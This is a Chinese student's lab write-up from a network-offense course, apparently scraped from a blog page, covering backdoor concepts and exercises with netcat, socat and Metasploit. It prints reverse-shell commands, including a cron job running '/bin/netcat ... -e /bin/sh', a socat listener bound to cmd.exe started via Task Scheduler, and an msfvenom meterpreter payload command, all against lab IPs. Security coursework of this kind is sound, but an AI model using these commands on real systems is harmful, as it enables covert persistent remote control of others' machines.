20145209刘一阳《网络对抗》Exp2 后门原理与实践

基础问题回答

1.例举你能想到的一个后门进入到你系统中的可能方式? •在网上下载软件的时候,后门很有可能被捆绑在下载的软件当中;
•浏览网页的时候,点的一些小广告可能会被植入后门。

2.例举你知道的后门如何启动起来(win及linux)的方式? •Windows下在控制面板的管理工具中可以设置任务计划启动,或者通过修改注册表来达到自启的目的;
•对后门程序进行伪装,例如重命名成某个游戏的开始程序之类的,诱骗用户点击启动;
•Linux下可以通过cron来启动。

3.Meterpreter有哪些给你映像深刻的功能? •直接通过指令获取主机的摄像头有点6,有点像电影里的黑客;
•获取击键记录也能得到很多信息,比如登录什么网站的密码,或者说和某人的重要聊天记录之类的,都非常容易被人窃取到进行分析;
•导出密码文件功能简直是有点无解,这样一来你的电脑相当于是透明的;
•后门进程的迁移,这样即使有管理员去查看运行的进程也很难发现后门的存在;
•使用后渗透攻击模块POST可以对主机进行更深入的攻击。

4.如何发现自己有系统有没有被安装后门? •没有经过免杀处理的后门程序可能很容易就被杀毒工具扫出来,不过一般现在这样的后门也很少了;
•检查防火墙开启的端口和它对应的进程,如果不是系统默认开启的端口都有嫌疑,找到对应的进程,对其进行抓包分析;
•下载专门的监控软件,对操作系统中的进程进行监控,看是否存在异常。

常用后门工具实践

Windows获得Linux Shell

1.在Windows下,先使用ipconfig指令查看本机IP:

2.使用ncat.exe程序监听本机的5209端口:

3.在Kali环境下,使用nc指令的-e选项反向连接Windows主机的5209端口:

4.Windows下成功获得了一个Kali的shell,运行ls指令如下:

Linux获得Windows Shell

1.过程与之前的类似,在Kali环境下用ifconfig查看IP:

2.使用nc指令监听5209端口:

3.在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的5209端口:

4.Kali下可以看到Windows的命令提示,可以输入Windows命令:

使用nc传输数据

1.Windows下监听5209端口:

2.Kali下连接到Windows的5209端口:

3.建立连接之后,就可以传输数据了,这里传输的是字符串,相当于两台主机在聊天,也可以用重定向操作符来传输文件:


实验内容

使用netcat获取主机操作Shell,cron启动

1.先在Windows系统下,监听5209端口:

2.在Kali环境下,使用man crontab指令查看crontab命令的帮助文档,从文档中我们可以知道crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行。

3.用crontab -e指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行:

4.在最后一行添加55 * * * * /bin/netcat 192.168.1.197 5209 -e /bin/sh,意思是在每个小时的第37分钟反向连接Windows主机的5209端口,设置成55的原因是我当时的时间是,为了能立马看到效果,所以我将时间设置在了一分钟以后:

5.当时间到了时,此时已经获得了Kali的shell,可以输入指令(如果在这之前输入指令,屏幕上不会有显示,但是等到了55分时会立马显示出来):

使用socat获取主机操作Shell, 任务计划启动

基础知识
1.socat是ncat的增强版,它使用的格式是socat [options]

,其中两个address是必选项,而options 是可选项。
2.socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

实践过程

1.在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器:

2.在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5209 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5209,同时把cmd.exe的stderr重定向到stdout上:

3.创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行:

4.此时,在Kali环境下输入指令socat - tcp:192.168.1.200:5209,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5209端口,此时可以发现已经成功获得了一个cmd shell:

使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

1.输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.86.129 LPORT=5209 -f exe > 20145209_backdoor.exe生成后门程序:

2.通过nc指令将生成的后门程序传送到Windows主机上:

3.在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:

4.设置完成后,执行监听:

5.打开Windows上的后门程序:

6.此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:

使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

20145209刘一阳《网络对抗》Exp2 后门原理与实践的更多相关文章

  1. 20155323刘威良 网络对抗 Exp2 后门原理与实践

    20155323 刘威良<网络攻防>Exp2后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主机操作Shell, ...

  2. 20155331 丹增旦达 网络攻防 Exp2后门原理与实践

    20155331 丹增旦达<网络攻防>Exp2后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...

  3. 20155302 Exp2 后门原理与实践

    20155302<网络对抗>后门原理与实践 实验要求 1.使用netcat获取主机操作Shell,cron启动 (0.5分) 2.使用socat获取主机操作Shell, 任务计划启动 (0 ...

  4. 20155326刘美岑 《网络对抗》Exp2 后门原理与实践

    20155326刘美岑 <网络对抗>Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...

  5. 20145303刘俊谦《网络对抗》Exp2 后门原理与实践

    20145303刘俊谦<网络对抗>Exp2 后门原理与实践 基础问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? •在网页上浏览不安全的网站或者下载不安全的软件 •通过发送邮 ...

  6. 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...

  7. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  8. 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...

  9. 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...

随机推荐

  1. Linux 命令行 发送邮件

    1.mail -s hi xx@yy.com 给xx@yy.com发一封主题为hi的信(没有正文) 编辑完内容后Ctrl-D结束. 2.echo "This is a test mail!& ...

  2. PTA练习题之6.1统计字符串中大小写字母的个数(10 分)

    统计字符串中大小写字母的个数(10 分) 分别统计字符串中大写字母和小写字母的个数. 函数接口定义: void fun ( char *s, int *a, int *b ); 其中s.a.b 都是用 ...

  3. 跳跃表 SkipList【数据结构】原理及实现

    为什么选择跳表 目前经常使用的平衡数据结构有:B树,红黑树,AVL树,Splay Tree, Treep等. 想象一下,给你一张草稿纸,一只笔,一个编辑器,你能立即实现一颗红黑树,或者AVL树出来吗? ...

  4. sort给文件按照大小排序

    ls -l|sort -n -k5 -n 表示以数值排序-k5 表示以第几列排序还可以用 -t参数指定行内容的分隔符 参考链接:http://www.cnblogs.com/myd620/p/6002 ...

  5. [USACO5.2]Snail Trails

    嘟嘟嘟 一道很水的爆搜题,然后我调了近40分钟…… 错误:输入数据最好用cin,因为数字可能不止一位,所以用scanf后,单纯的c[0]为字母,c[1]数字………………………… #include< ...

  6. DataTables.Queryable Sample

    1.DataTables.Queryable的例子项目使用了SQL Server CE数据库,花了几分钟时间转为使用LocalDB. 完整Web.config文件如下: <?xml versio ...

  7. 十四、详述 IntelliJ IDEA 提交代码前的 Code Analysis 机制

    在我们用 IntelliJ IDEA 向 SVN 或者 Git 提交代码的时候,IntelliJ IDEA 提供了一个自动分析代码的功能,即Perform code analysis: 如上图所示,当 ...

  8. Redis(RedisTemplate)使用hash哈希

    RedisTemplate配置:https://www.cnblogs.com/weibanggang/p/10188682.html package com.wbg.springRedis.test ...

  9. MacBook常用快捷键

    MacBook常用快捷键: 1. 窗口操作: cmd+n 新建一个窗口/文件. cmd+m 窗口最小化. cmd+w 关闭当前窗口/文件. 2. 程序操作: cmd+q 退出当前程序,后台不运行该程序 ...

  10. javascript中filter方法

    array1.filter(callbackfn[, thisArg]) 參數   參數 定義 array1 必要項. 陣列物件. callbackfn 必要項. 最多接受三個引數的函式. filte ...